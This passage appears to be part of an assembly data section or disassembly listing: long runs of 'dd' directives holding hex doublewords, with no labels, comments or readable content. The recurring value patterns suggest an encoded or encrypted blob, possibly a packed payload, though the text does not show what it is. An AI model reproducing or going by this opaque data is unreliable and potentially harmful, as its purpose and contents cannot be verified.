0AFC6FF70h, 87D03DDEh, 0D0CD1085h, 463680CAh dd 12AFBBEDh, 6916C302h, 66883D96h, 664EDB15h, 443E3215h dd 55F2CD8Ch, 93FE0227h, 320A0A94h, 0E32D7E51h, 661132ADh dd 669FB11Ah, 8F243215h, 66223205h, 0EF5B976Dh, 782A75Ch dd 0E4B6652Ch, 64F946AFh, 1E905474h, 69A67E11h, 6644BD90h dd 32955215h, 66113CFCh, 0DEE22B15h, 40AB92A0h, 46C57DACh dd 70BCECAh, 42A4B345h, 21507B8Ah, 0E506069Eh, 0A09036D1h dd 219C7B8Ah, 6648DB75h, 0B3C83215h, 0CCAF29C3h, 5180620Ah dd 0EC12C312h, 36436CE8h, 661134ADh, 5A4EB315h, 674E0236h dd 5ACCB3D3h, 3E1B0236h, 0B80952E0h, 3806D6D0h, 662223FCh dd 97266015h, 9E961931h, 7A282F5h, 4C1D2228h, 0ED70B4A2h dd 8F914790h, 0C8ADCB12h, 69223210h, 6611359Ah, 67053D15h dd 9E443215h, 0A4AB6044h, 0EF4BE39Ch, 69E86BDBh, 0FF2F0AAh dd 72A96274h, 62D5B131h, 8F4103ECh, 6644321Bh, 5F433880h dd 0DC93C042h, 1D8AE961h, 0CAB1773Ah, 66223DFCh, 0DB05C815h dd 7DD741A2h, 0C1BE4DA4h, 6C2DFCC9h, 63F86075h, 6A883215h dd 0AA66B323h, 661E534Ah, 676FB61Ah, 0E8873215h, 66443211h dd 7F48175h, 0E21E1F29h, 9977CDD6h, 4878CAECh, 66F9B61Ah dd 0E21E3215h, 66883203h, 664423FCh, 975EBF15h, 490EFD76h dd 53C15B4Ch, 408D7B20h dd 561EFAF6h, 63F1B01Ah, 63613215h, 0CE443215h, 8EF4A2A0h dd 0E01E0B29h, 9977CD96h, 6645BE1Ah, 5ADB3215h, 0D9933D54h dd 6883210h, 0A28EAAAh, 0A8A95456h, 694B0E74h, 99775093h dd 7FC53DEAh, 8F223215h, 66113201h, 80368DB3h, 846C2B42h dd 0B11E96F6h, 0E71C30B8h, 32E98D5Ah, 64C03D75h, 0EC223215h dd 0A6AE54D4h, 39B453B1h, 9969B61Ah, 5ADACDEAh, 9933D74h dd 8F883210h, 6644321Ah, 2569EE87h, 4769C548h, 7959FE23h dd 5AEFF824h, 6EA43D6Fh, 9FEECDEAh, 668D7FFCh, 6650DB15h dd 57463215h, 0A6D94B14h, 7FA08421h, 0CAF08F3Eh, 2CACEB0Dh dd 367177B1h, 0DED1F19Fh, 0EB1AE7Ch, 0C19C6474h, 0E718C052h dd 9AFA08D3h, 338AB360h, 0E74CC953h, 862845E3h, 8366B349h dd 0E733F033h, 0C44250E3h, 38E31B41h, 6694B81Ah, 8F243215h dd 66223210h, 7F61F841h, 6683DB76h, 4E463215h, 824F7A30h dd 0F5E61C7Ch, 94B1539Dh, 629CB61Ah, 0E52D3215h, 66113214h dd 2F42B5EDh, 0B775F824h, 0EA2DF824h, 66113212h, 6689B41Ah dd 36BD3215h, 662233ADh, 3ED03315h, 0E77CB875h, 0BCA06CC5h dd 3ECB5329h, 9EEECDEBh, 0E287FB90h, 6644368Fh, 0DB97BFECh dd 616DB1Bh, 3640B973h, 3EBD851Ah, 77A75A74h, 52983215h dd 0EF5EBB31h, 0EB4B6CE4h, 66223219h, 6617B71Ah, 0EF873215h dd 66443215h, 4226B347h, 97B661Ch, 6F32604Ah, 4F2B5841h dd 61CB68C2h, 14113215h, 43C998F5h, 0D117B0D2h, 0A6FDC48Ah dd 0D34030F2h, 0E66DE2AFh, 0A3C46DE0h, 0E6D7B247h, 0E648DD35h dd 9E0064FAh, 0D1F6524Eh, 9453A1AAh, 13BF533Bh, 0E387CEE8h dd 6644320Bh, 663ABC1Ah, 75F83215h, 97883215h, 716EAD98h dd 4ACF5B50h, 0F210E0A5h, 0A246D1F9h, 0A7C51F59h, 2AF46E25h dd 2069DB94h, 9FA11F43h, 203CF394h, 8FA31F43h, 2AC76E25h dd 668FBC1Ah, 0EC4B3215h, 66223214h, 619C3DE0h, 69883215h dd 66443396h, 8AA3CB15h, 66113211h, 91AC3E9Ch, 8F1D1609h dd 6622321Fh, 97C0347Eh, 2FC412ABh, 89C5E6E7h, 64BC3DF2h dd 489EDD94h, 0A9A12269h, 48CBF594h, 0A1A32269h, 648F3DF2h dd 668835FCh, 77170F15h, 63405994h, 661137FCh, 945F7915h dd 9175DE17h, 9113CC24h, 661122FCh, 23020A15h, 0B580417Bh dd 8FA0094Ah, 0DA05A9CBh, 62CC103h, 6DADFD9Eh, 0BD223215h dd 0C71F4E01h, 8812B32Bh, 372581BDh, 512E0AACh, 0DAE0B37Ch dd 0E7DCFE41h, 62E349D4h, 0A0DB33D7h, 6483214h, 648F095h dd 66443CFCh, 0D4CF0D15h, 0DDFD9E7Dh, 0C5E9269Bh, 744ED41h dd 0DBB7BF74h, 6916DB1Bh, 66882B97h, 75C43D15h, 8F223215h dd 6611321Bh, 5DBFFEE9h, 0E7C959EFh, 1A735FDAh, 0E39AFAC0h dd 61611CC8h, 6645B71Ah, 0E3DB3215h, 1A943DD5h, 8F883215h dd 66443204h, 56B83909h, 19A1FDBBh, 2190A8B6h, 929172C4h dd 74CB522Ah, 3B113215h, 461D0D94h, 1DEE0068h, 0D6339222h dd 0B9304154h, 773B962h, 401DB7D3h, 66535FCh, 6611B01Ah dd 6B3E3215h, 0C1965A74h, 0ED42E68Fh, 0D3EE53E2h, 61613904h dd 6645BA1Ah, 0EBDA3215h, 8A8EE990h, 0B677CB12h, 65CD3D75h dd 223215h, 0E71EE29Eh, 6688321Fh, 664437FCh, 6619A715h dd 37703D22h, 0A709D39Ch, 66443211h, 0E126DB96h, 0EF4D1619h dd 0E6E81601h, 8ECE01D1h, 8FF2CD74h, 66113204h, 0C6D4D918h dd 0EE87FB59h, 31C84BD6h, 26CAB0B8h, 6948B76Ah, 66456290h dd 6636DB15h, 0D8743215h, 0D3C2EBD9h, 0C4867FAFh, 0CBDE7A4Bh dd 48624A1Ch, 0E303C18Ch, 61AD3254h, 6624B91Ah, 6713215h dd 7D36074h, 0E34BF290h, 6622328Fh, 661122FCh, 0B22CC915h dd 0A67B74EDh, 0F4925E50h, 0D1C6042Fh, 3F0DF4B8h, 2A43DB33h dd 0A6F7B275h, 7AF85A74h, 6E61EBCFh, 96443215h, 3DB10A0Fh dd 99EB1C37h, 8F8323A0h, 0E0F05212h, 0A1B5E394h, 9E70036Bh dd 0F953B798h, 0E34B35F9h, 6622321Ah, 6617DB75h, 19C73215h dd 0BBDE24DDh, 6943F59Eh, 66110090h, 72605215h, 0A5443215h dd 0EB96AE73h, 9BC984B1h, 5EB694D9h, 0B153AE62h, 3C8CB08Bh dd 661123FCh, 0A0F6D615h, 372C5F91h, 0A7EB18C4h, 2033F10Eh dd 99E9B214h, 622CCBC5h, 0EF223247h, 69711601h, 66883491h dd 9796B315h, 693FFB66h, 9970F5A2h, 1C3252C5h, 6444EF9h dd 58EDB373h, 6605DB64h, 0FA793215h, 6FC0105Ch, 0FA7AFAF4h dd 592BE7F3h, 15FFA7C1h, 725C28Ah, 0E32DF290h, 6611322Ch dd 6690BC1Ah, 75AD3215h, 0E5223215h, 18268BEBh, 906A9F22h dd 64F13050h, 0C3A8AAD0h, 89F8FA11h, 8F883215h, 66443205h dd 0B5AA0114h, 349AD756h, 0E4564CB9h, 632F807Bh, 12A7BBEDh dd 616C302h, 8F4F8D1Ah, 66443201h, 5671F4C2h, 345C7814h dd 0DC1A02FBh, 0C4BB6071h, 2A58596Ch, 6605DB74h, 34E43215h dd 0A1F20F02h, 0BC88B988h, 22341EC5h, 4242C276h, 0EF14BB9Fh dd 662637F5h, 623C3215h, 0E1883215h, 0EF181611h, 8FDB1611h dd 66113204h, 98EA885Dh, 0D790199Fh, 2BD32CD7h, 4F30E792h dd 6A25A1Ch, 52CD3215h, 662BDB31h, 2FB23215h, 7B2A09AAh dd 9F1BA372h, 0D157B798h, 0ED7135F9h, 0B67753DDh, 66443AFCh dd 290A6E15h, 7B651649h, 6685DB4Ch, 1D143215h, 0DCE04750h dd 4B69C1A1h, 6D435BAEh, 6BC13DD5h, 9A223215h, 661113FCh dd 670C3D15h, 9A443215h, 7A06769Ch, 661123FCh, 2A4D8C15h dd 0E27543E9h, 793546C3h, 0C4AEC832h, 8FE9B1ACh, 66443219h dd 0E5FCD312h, 7E1320Bh, 55C3FB2h, 0EC4B52D6h, 66223213h dd 39F6D394h, 77D7E26h, 61C23D75h, 69223215h, 66113398h dd 0ED71CE15h, 97534698h, 414AC712h, 0EF113242h, 0EA871611h dd 66443212h, 69C5475h, 670CAA0h, 6960F59Eh, 443215h, 16DA3CA0h dd 595C0B52h, 8D185254h, 0CFF282E4h, 8AA3534Fh, 66113211h dd 3EAC3E9Ch, 6643B41Ah, 0E72D3215h, 66113214h, 0D9DF63ECh dd 66443229h, 677DCB9Ch, 3F1031D4h, 60616075h, 0A0443215h dd 0A2638990h, 7E868ECh, 668821FCh, 83E56515h, 6F29B3A4h dd 9EA209CBh, 5B50C44Ah, 60A52D94h, 66AA82EAh, 62903215h dd 8B8C1E31h, 0D812687Ah, 9CF3639h, 64FC03Ch, 0BF9D094h dd 60AC54A2h, 0AE223215h, 3627AFBDh, 6681DB8Ch, 261D3215h dd 658F518h, 3EF93F06h, 0D31DBB74h, 8F43DB14h, 66223218h dd 598FD803h, 2E5198BDh, 0A4389A04h, 6E9C642Eh, 201AB512h dd 2F0CD494h, 0A0C54C1Bh, 93DBCDEDh, 0ED791D38h, 6378330Bh dd 78CF5A3Ah, 16DDCA4Bh, 0B5AF6419h, 4FF1F139h, 38401661h dd 0B5E0B34Fh, 6968F139h, 66883A93h, 0E7225215h, 9ABA41D6h dd 6CF85274h, 0FB883215h, 63697874h, 905E2EBAh, 6AE527Ah dd 0D8B45F31h, 55627E74h, 0F3AB5374h, 61F811ACh, 6203CBE9h dd 87CD6331h, 6626F394h, 0A7923215h, 4284B511h, 6641DB49h dd 20173215h, 99EA5287h, 0EDAC1661h, 0A2C71611h, 662ADB11h dd 550E3215h, 3FC8975Bh, 0EE4B71E1h, 66223219h, 6617BE1Ah dd 0EC873215h, 66443215h, 5C3F8847h, 0AC9036B5h, 4F2C0033h dd 84C5E0E2h, 47157528h, 567BF094h, 0B6895714h, 4B8C1B4Fh dd 336477Fh, 661122FCh, 75BAEE15h, 19F7E2D2h, 0DAF92C59h dd 0F384B0FAh, 77003D5Bh, 8F443215h, 66223219h, 45BA8B2Fh dd 84EFEA65h, 4832392Dh, 459BB72Eh, 0E41E35FCh, 66883250h dd 664421FCh dd 14758B15h, 8763FFC6h, 5EDD8D76h, 0E00B6041h, 4A1C80E6h dd 67A4B72Eh, 0E58735FCh, 66443234h, 0A4DB53ECh, 0E41E3211h dd 66883200h, 664422FCh, 638DD615h, 0C58F74BCh, 48A5CFBEh dd 121E9D26h, 77CB532Eh, 0A2113215h, 21772FBFh, 303AC6BBh dd 0C378443Ah, 0B64AFB41h, 6698B71Ah, 6DAD3215h, 2E223215h dd 5E5F4EC1h, 86D5B072h, 6283D4FAh, 3E7D0331h, 4235F331h dd 4284CD13h, 30600694h, 3516AA72h, 0E9BA5BAEh, 42D41B37h dd 6CAD6911h, 1E223215h, 0E7567AEAh, 7F5751D4h, 4200F535h dd 86714F11h, 427DF334h, 12093711h, 17203631h, 2ADD28FDh dd 0AD03631h, 338E3631h, 0D8744BA8h, 424E0313h, 22906F1Dh dd 34C23631h, 0E74BCB3Bh, 66223218h, 66973D75h, 883215h dd 58DAD194h, 659C6474h, 0E77C9D5Fh, 29EAA6DBh, 5082B305h dd 0E731A467h, 1F4969E3h, 727F646Eh, 0A0C56C31h, 8CDEB689h dd 8F4FC29Ch, 66883205h, 73BE37A3h, 0D51E9279h, 644D1FBEh dd 0D76F6433h, 2B1EBF98h, 74CB35FCh, 1B113215h, 0B24F3578h dd 0A53B22E8h, 6EDE0733h, 3AD60D36h, 8F69CDA9h, 66443205h dd 134FDF1h, 9EE6EFD5h, 0D5C7F706h, 0B2BDC059h, 0E52D5275h dd 66113205h, 668839FCh, 7EC5FE15h, 77F2E781h, 0CBAB2755h dd 668822FDh, 0CA271215h, 9BD7950Ch, 2973B792h, 0A6E40783h dd 391C65FDh, 62CEB374h, 0EF113215h, 66331609h, 67443215h dd 3D21B8E6h, 66113EFCh, 4B018415h, 0AEF6BF17h, 0B7907EE6h dd 69F80E10h, 66897291h, 6AAC5215h, 0A9223215h, 0DCBBD946h dd 0F137A7D9h, 0C582C4h, 0D97DF39Eh, 2243B906h, 69600E74h dd 66456691h, 6625DB15h, 0E0E3215h, 0FBA84706h, 6978CB2Bh dd 661AB61Ah, 5AE83215h, 0BD0C3DD8h, 9A443214h, 0E22DD929h dd 6611300Dh, 668822FCh, 9A4EF15h, 5CC69ABCh, 7AE3331Dh dd 7DC2F44h, 0E44B5376h, 66223214h, 69D2CEECh, 66883390h dd 3015CA15h, 7F1F58ABh, 0DE7B32Fh, 0EFB22B28h, 97456CE4h dd 697B2B9Fh, 66113890h, 668DDB15h, 181A3215h, 37B72F8Dh dd 0A3EF0FA0h, 0B37EFFEBh, 98B98047h, 10D0B2DFh, 561AF095h dd 8B0868C0h, 3FAF1272h, 6636B71Ah, 0E81E3215h, 6688321Bh dd 66443BFCh, 0BF3A9E15h, 23B5789Bh, 9D08EA0Dh, 0ECC13D95h dd 9FDDCDEAh, 0EF15DE96h, 9ED31621h, 0E1760E9h, 129409BEh dd 0E7CAC54Eh, 2F4C7DFEh, 3D9EBB9Eh, 678E114h, 66113EFCh dd 0EA199015h, 3AF68B06h, 0DE2C47ACh, 0F1F1B38Ch, 7E97EDEh dd 26FB6547h, 0A75E8E2Bh, 0E75E30F2h, 69FA0CDAh, 9BABB307h dd 0EFD0CDEFh, 94106DEFh, 9FD22816h, 6644EAFCh, 6625DB15h dd 0B503215h, 0B58D6BF6h, 6732CD1Bh, 21CB8B44h, 2A203BEDh dd 3DD13631h, 21ADC194h, 0D8423BEDh, 96F199h, 9D0B53E9h dd 6EC03DEEh, 69223214h, 66113E98h, 60023D15h, 69443215h dd 6622329Fh, 62FDB315h, 0EF883215h, 8F1F1621h, 66223218h dd 6C31FE62h, 0B294B51Bh, 0B9992A25h, 6DA13D06h, 8F113215h dd 66883213h, 61FC8E23h, 0DC70823Dh, 66113214h, 1BF3D894h dd 94455EF8h, 1B59F094h, 7C125EF8h, 0DB524Fh, 5ED4D894h dd 77B634Ch, 661126FCh, 6053CA15h, 0A40708D4h, 36B8B1Dh dd 362923EDh, 0C7B4FC1Eh, 0DE146309h, 34CA29C2h, 7570A210h dd 56BE0727h, 869535F8h, 0ED70F810h, 2FF81F22h, 0E48D6FCDh dd 0EF641249h, 0AD236AD4h, 0BC9A524Ch, 98C7DB74h, 61ADCDEAh dd 71223215h, 3C5AC798h, 0D08763CDh, 0E84B334Bh, 66223200h dd 661FDB75h, 22203215h, 2E5B60D1h, 0B193B1F2h, 9F81CCDDh dd 4863B174h, 985FB61Ah, 3042CDEAh, 0E777524Ch, 772C7C7h dd 665DDB74h, 6FCB3215h, 0E6113215h, 0AF20864Ch, 1E5B3042h dd 98234C95h, 9BE2B71Ah, 8F74CDEAh, 99BBCE34h, 60CA52E9h dd 0C7113215h, 0BEDDED5Ah, 38BAB947h, 7DCB973h, 6671A67Dh dd 42BCBB15h, 83CD67EDh, 6626F794h, 8B903215h, 66883211h dd 3A601E92h, 6063E9Ch, 7CFB973h, 0E769BB44h, 664436D4h dd 62CBB315h, 0E1113215h, 0EFD41619h, 69BC1609h, 66223391h dd 0AC79CE15h, 0EF883234h, 241629h, 7CD4F294h, 6AF853EDh dd 24883215h, 0A0F6B3h, 31E5122Ah, 57612955h, 0A40952D5h dd 1F22A61h, 9E8E53E9h, 0A5996144h, 0EED3EB9Dh, 34BD6BDEh dd 8CE29AA7h, 82F3B212h, 9880D8D5h, 758EB2DFh, 0A6AF8146h dd 859136F6h, 0D97BB2F0h, 5634D995h, 0B50269CFh, 6619DB4Fh dd 72183215h, 11BE9DC6h, 0EF2D3F7Bh, 6611320Eh, 669CDB75h dd 84593215h, 0BC58F353h, 0EBB09D95h, 89C8595Ah, 0C2434653h dd 0E64336B5h, 0E21E42EEh, 668837F8h, 0A5C55475h, 0DF44C68Dh dd 5A70C8F4h, 6D0C3D1Ah, 69443214h, 66223E96h, 60903D15h dd 69883215h, 66443297h, 69CB0E15h, 661BCE91h, 6E033D15h dd 69443215h, 6622309Eh, 5A705215h, 620C3DFEh, 9344321Ah dd 0E22DD129h, 661131DEh, 70043DE0h, 6443215h, 662238FCh dd 0C2FA8715h, 4A61B251h, 6A3339h, 6DA8E094h, 69F30E74h dd 66986091h, 6656DB15h, 0DB5C3215h, 3636877Ch, 832FBB75h dd 0F8D9F232h, 0DC688E5Dh, 22A95475h, 5A035324h, 83CD6731h dd 6626F794h, 0A3923215h, 42A4B511h, 67C03D49h, 93223215h dd 3D3506EAh, 9A8CF696h, 35603E9Eh, 0A5A3D19Ch, 66113211h dd 0E18CF196h, 8F181609h, 66223204h, 0C234FEFFh, 0E47F75DBh dd 56372858h, 0E56783F4h, 6C963D5Ah, 8F883215h, 66443210h dd 0B13A3887h, 4225B90Ch, 0E76FBB42h, 664436D2h, 62E5B115h dd 3A350E92h, 668839FCh, 4E859615h, 0B62F596Fh, 0ADEA222Ch dd 6684DBD6h, 2EA63215h, 4DC64565h, 9E77A54Bh, 0E34F270Dh dd 61B52A51h, 66223213h, 0DF405375h, 66883215h, 28F9DB94h dd 972361F5h, 28ACF394h, 7F0261F5h, 0D715CA4Ch, 0A6F3C442h dd 0AFEF3AF4h, 0E68FDBD5h, 0A7C490D4h, 0EDE91258h, 0A2921619h dd 72605211h, 0F9443215h, 446168E9h, 2A2B02D3h, 0AB9B12DEh dd 3E0CE827h, 0FA8509h, 395F35ABh, 53738D73h, 0E6BFB274h dd 9926B71Ah, 63F8CDEAh, 99883215h, 0B792A9C5h, 6625BC1Ah dd 6713215h, 94373D74h, 67F96774h, 4F223215h, 69716FFBh dd 0B703F1A2h, 77C1B974h, 625DB3Fh, 0D3ACD194h, 9603757Ch dd 0DBD1B974h, 9E25DB0Eh, 661122FCh, 56D35B15h, 39617B6Ch dd 0ED36188h, 0DA6D70F0h, 52AF5A2Bh, 52CD3215h, 426931h dd 690EABAEh, 66883094h, 7255215h, 66248C43h, 95103215h dd 0E7AC069Eh, 664436D1h, 80A35215h, 47339045h, 668DB51Ah dd 4AFE3215h, 71D463Bh, 7C796445h, 38A3807Ch, 0F5CC494h dd 96AB19A7h, 65E1334Bh, 0EF876A0Dh, 6644320Ch, 662226FCh dd 0E6DE4C15h, 0BFDA345Fh, 0B3D311B5h, 287BC8E4h, 111548E6h dd 6950095Dh, 66443897h, 0BC19CA15h, 9821B41Ah, 3670CDEAh dd 4B23CEADh, 3EE11B14h, 0A590C93Ch, 67A555E9h, 664EB71Ah dd 0DD423215h, 2AD5AD8Ch, 76CEA95h, 664421FCh, 0F5377915h dd 0BF93F9B3h, 0CD1892E5h, 6BBB115Dh, 0A08BB789h, 66178F40h dd 8DA13215h, 0E7601E9Eh, 662236D1h, 0DF775215h, 1937B76Fh dd 70576D4h, 0E02D9F73h, 66113218h, 94095475h, 0EB4B7B99h dd 66223215h, 9FBA5474h, 66883EFCh, 65DEA615h, 8B01A490h dd 552D121Bh, 8A0B62C0h, 4258BB11h, 75CB694Dh, 0BB113215h dd 983A81A0h, 9364AF4Fh dd 0F14C1315h, 0AC86E063h, 0E8873FC4h, 66443219h, 6624BD1Ah dd 0EB1E3215h, 66883215h, 664ADBBEh, 0AC363215h, 876B4C25h dd 7C9A4BCEh, 0F31B9FF7h, 0EF26DE96h, 62AE1629h, 67883215h dd 68AD6DEBh, 7223215h, 0CD3831CBh, 0FEC0A826h, 0CBFD56A2h dd 421EBBF1h, 6602B81Ah, 68613215h, 0C6443215h, 53585846h dd 8AC1288Dh, 0D554A84Ah, 664ADB5Eh, 0B75C3215h, 20B9D94Ch dd 3E2A5EFAh, 122C1803h, 6A06469Ch, 0D8D6B975h, 422C7A40h dd 77F1BB74h, 625DB20h, 69C1B973h, 66883496h, 66C53D15h dd 7223215h, 393506EAh, 668CF694h, 0EDB13215h, 0EF751609h dd 62D6B3F2h, 0E7883215h, 664436D2h, 421EB515h, 6618DB49h dd 85E93215h, 265C2F78h, 9910D887h, 0E5481621h, 0E836D1h dd 27FAC094h, 66A93D43h, 3E113215h, 42BCCD74h, 6280B34Bh dd 6223215h, 0DEC8B373h, 84335430h, 0EF175387h, 0BE9D65F6h dd 2971B90Bh, 9109E5E2h, 0F930D339h, 0E57DC914h, 7A9636D6h dd 9EE86E31h, 0BAA2DB74h, 0A1DBCDEAh, 97097690h, 66883012h dd 71C13D15h, 6223215h, 66113DFCh, 0CD60DC15h, 5333F515h dd 518206h, 0E47A53D9h, 0EE8753EDh, 66443210h, 0A9A95475h dd 0DF406474h, 7AD63A80h, 62607E24h, 95A3694Ch, 7A4F3A80h dd 683E3DE0h, 0E64B52E9h, 66223213h, 6611B01Ah, 68613215h dd 7E443215h, 0EF12F929h, 5B09A2C2h, 0E6DC4454h, 9FC4534Ch dd 52A13D95h, 6113215h, 0BF6A8AEDh, 0E7257407h, 203908D6h dd 30DA3360h, 3AE66FABh, 0A0C57C1Ch, 0DCB9ECBh, 9E4FC13Ch dd 57CDD992h, 579903FEh, 9EDE52FEh, 66A6DB74h, 34703215h dd 976CCDA3h, 0E706269Eh, 661136D1h, 66E0CE15h, 0E7443215h dd 15A71639h, 6A383BEBh, 428CB331h, 6FBA4190h, 61AC3D4Ch dd 69113215h, 66883398h, 0DE14CE15h, 4F992639h, 6B10DA96h dd 7A5A27D6h, 7369E2E2h, 47E036FCh, 6E46AD4h, 66883BFDh dd 459D1515h, 0C088ED4Bh, 6FF96B29h, 7C883215h, 0FDBB7391h dd 0F7E58852h, 0E21E694Ah, 66883200h, 66443DFDh, 7A7DAC15h dd 76B93759h, 939484A5h, 0AB683F1h, 8DA3534Bh, 1A1B18D0h dd 4341F194h, 0AD6D47A1h, 43EBD994h, 0A59047A1h, 1A8218D0h dd 664422FCh, 0DEAD0715h, 984E42F5h, 9C1A4268h, 10D60669h dd 77A7B9F2h, 6916DB3Fh, 66882496h, 6655DB15h, 0B4CD3215h dd 70E10D23h, 129BB47h, 0AD1C9F30h, 0ED8CD119h, 8F0A8F80h dd 36E85212h, 7BDB94Fh, 6676E294h, 0E5702396h, 8F876BA8h dd 0E24B3312h, 662231F6h, 0A528C7EDh, 6551B01Ah, 0E24B3215h dd 66223214h, 69C20BECh, 99728F97h, 6CC23DEAh, 8F223215h dd 66113210h, 638CF26Dh, 65F1DBC5h, 0E12D3215h, 66113214h dd 220DF5EDh, 6443C30Dh, 8F223215h, 66113218h, 0AB640C67h dd 6BCE4290h, 4A734FECh, 62FDB1A1h, 3DAC069Ch, 66443CFCh dd 0F93A7015h, 13D029DAh, 9285F533h, 6930AD02h, 423CA3h dd 0E640FA9Eh, 7D744FBh, 69C4CB95h, 66226096h, 0E31E5215h dd 66883217h, 0D822F99Eh, 0E7435A10h, 0C44CCBFEh, 2C63B34Ah dd 671E3664h, 2CE1B3DEh, 0E74B3664h, 0C4D5CBD6h, 0E117CB4Ah dd 0E1611609h, 8F4A1609h, 66883219h, 0E2FF808Bh, 0C1967C55h dd 15C865B3h, 66E2DBE0h, 243215h, 8BF0FA94h, 3470E89Eh dd 0A8764FA3h, 0A642D4D5h, 0B8D434FBh, 4EEEC495h, 429CB9E4h dd 6940F696h, 66223391h, 0D946CA15h, 66883215h, 9FCDFD3Ch dd 0E7060E9Eh, 661136D1h, 35DDCB15h, 21660B7Dh, 0E769691Dh dd 0DECFF5D6h, 3D55BBE2h, 9F19DB34h, 3765D994h, 0AD38241Eh dd 61EF8D42h, 0A1C53AF5h, 6B097BF5h, 934EC914h, 4C99B79Eh dd 0ED4B35FCh, 66223234h, 6605DA75h, 0A643215h, 0E1A29C3Ch dd 0F4587B71h, 0AA140A19h, 94900DDBh, 1A4318h, 5C5EF594h dd 0DB84B974h, 68FDB0Eh, 0CEAAB373h, 0E543CEB1h, 8F1E6BA8h dd 0E2873312h, 66443072h, 6603BA1Ah, 69713215h, 66883295h dd 6650DB15h, 7FDF3215h, 0A13A09A3h, 6E2A36Dh, 16F25E76h dd 708556C0h, 69701ADAh, 66883394h, 0BE7FCE15h, 6636B01Ah dd 5FE83215h, 7D0E3DC6h, 6BBCDECh, 39F2B373h, 49A8547Fh dd 0DBDD534Dh, 66443214h, 9A7FDC3Ch, 0D6FF8546h, 4E4436E8h dd 3D881EEDh, 6636DB75h, 9FC43215h, 301F7C60h, 5D8A22B3h dd 2A7130D6h, 4E102C87h, 0E18770AFh, 66443216h, 7ED851Ah dd 0ED1ECEBFh, 66883204h, 66443EFCh, 5A504415h, 0F2744F70h dd 9FAA8EF5h, 62A8B131h, 0DD062E9Ch, 66113215h, 6D02C114h dd 67CC3D4Eh, 93223215h, 0D63D8047h, 0ED5802B9h, 0A2C51601h dd 66223211h, 639B3D75h, 0DD883215h, 19E09ED7h, 63E08A73h dd 0D043CA74h, 0ED79121Ah, 0A2C71601h, 30425211h, 7E9534Eh dd 0E787FA1Dh, 66443212h, 6623BD1Ah, 0CCED3215h, 66883EFCh dd 9B098515h, 0EF005E7Ah, 943580C4h, 0DC63B3B4h, 0E71B401Ch dd 772FECFEh, 0E7EA1B7Bh, 7785ECD6h, 0DC87B37Bh, 9E7D401Ch dd 83796240h, 3EE6E643h, 6346DAD4h, 8268D85Eh, 4F49F79Ch dd 0E0876FFEh, 66443214h, 8AA362ECh, 66113211h, 3EAC2E9Ch dd 6641DB4Eh, 0F51E3215h, 0CD435E6Ah, 668FB01Ah, 0E04B3215h dd 66223214h, 0DF4061E0h, 686949E0h, 7389C394h, 0A7A37B7Fh dd 0DE65A3DFh, 67D1F99Ch, 0ED2469CBh, 0D3AB53D3h, 61F80704h dd 0D1875275h, 0A6C453E2h, 0E3E55332h, 61F83D4Ch, 66883214h dd 6651B61Ah, 76CB3215h, 0CE113215h, 257D4723h, 6FF6C32h dd 0CE99D45Fh, 0E59C11E3h, 520136F9h, 0E7A2BB31h, 662236D3h dd 62D7B115h, 3AAC0692h, 64C43D75h, 37223215h, 52EE534Eh dd 0A20B6931h, 0E74B5211h, 66223213h, 6611BE1Ah, 0E8873215h dd 66443216h, 7D9B973h, 31353E9Eh, 0A109D59Ch, 66443211h dd 0E126F596h, 694D1629h, 66882A91h, 6AAD5215h, 0AD223215h dd 0B289588h, 376CA71Eh, 0DE639080h, 17888468h, 87986374h dd 146E8F40h, 0B7092E0Ch, 0E7677FF0h, 54F4F4F8h, 3B61332Dh dd 0E140F396h, 9F7E1619h, 0E7F6BB42h, 668836D2h, 6283B115h dd 57060E26h, 5A221629h, 8F746E31h, 99BBE57Dh, 6623B21Ah dd 36E93215h, 9977CDADh, 3E8233EAh, 6630B31Ah, 6BF83215h dd 92883215h, 0EF2C87E5h, 86CA1F2Ah, 0E48E4795h, 8F3D6373h dd 0ED22DA9Dh, 0A2A31619h, 66113217h, 0AB365475h, 8FEE536Fh dd 6622321Fh, 945B367Ah, 0E0217742h, 8AC5F430h, 66223211h dd 0E735069Ch, 11471621h, 531C77A7h, 239045DAh, 9EAF64EDh dd 20E8447Ch, 6DA7C494h, 0B0D57A0Dh, 66D2FC94h, 90091187h dd 86B4C431h, 4F7CC214h, 0DD21FEDh, 0EC872576h, 66443231h dd 662CDA75h, 0A7B73215h, 92E8F7CFh, 0BCFF1A4Dh, 79216672h dd 6618DB4Fh, 0B0473215h, 425F7688h, 7C10210h, 6654CD7Dh dd 4294BB15h, 664436AEh, 3DFA1B15h, 6601B01Ah, 6D613215h dd 0AA443215h, 393F78A4h, 8AB6F890h, 93237CF1h, 0E7A5BB44h dd 662236D4h, 62D0B115h, 0EDAC3E92h, 0EDB11631h, 0EF751609h dd 62D6B3F2h, 0E5883215h, 5AC336D2h, 74CB6E31h, 4113215h dd 9EF831C2h, 0E9B91FE7h, 0D64574E5h, 0D8C315D2h, 6A03CE96h dd 84CD6031h, 6626F094h, 0A4903215h, 66883211h, 3A602692h dd 6636B71Ah, 0EA1E3215h, 6688321Bh, 66443BFCh, 0FB362815h dd 0A3603A9Fh, 5277EB20h, 0A2C56C31h, 66223211h, 12845AE9h dd 4A013215h, 0E7A1BB31h dd 662236D0h, 62D4B115h, 3AAC1E92h, 0BF36DBE9h, 0E42DCDEAh dd 66113205h, 668839FCh, 8E09EA15h, 802D6815h, 0B80E0A03h dd 668FB61Ah, 0EA4B3215h, 66223214h, 2294F5ECh, 638FC30Dh dd 93443215h, 33D0BB47h, 8D98E79Ch, 6A616848h, 0B3443215h dd 0E42F6F84h, 92239D6Eh, 63FC5F7h, 66CD3D46h, 3D223215h dd 661139FCh, 0D1AC115h, 171BDB30h, 8223F007h, 62AF6474h dd 67883215h, 4270B9E6h, 8F26F696h, 66113206h, 0D25C40Fh dd 111CCB7Bh, 934FD9A9h, 0FAB21B3Eh, 34274E56h, 664432AFh dd 0BFE0B315h, 6702C511h, 0BF62B3E7h, 6557C511h, 61CB680Fh dd 1C113215h, 3DBB2898h, 0E3CFC917h, 61CB1804h, 661122FCh dd 0A1327515h, 38210D84h, 8F78D0FCh, 0E4BFBFD3h, 0DB1DB90Bh dd 6943DB0Eh, 66223B9Ch, 0ED775215h, 9D3754C6h, 0E5125360h dd 38DD1611h, 661138FCh, 0B1973515h, 0BF3BD443h, 0E5364DDEh dd 8F21F7A8h, 0E2873312h, 664434A1h, 6636B31Ah, 69F83215h dd 64883215h, 0DF8D80E1h, 58F5054Dh, 98A2136Ah, 0BEB3827Ch dd 6668B01Ah, 6FCB3215h, 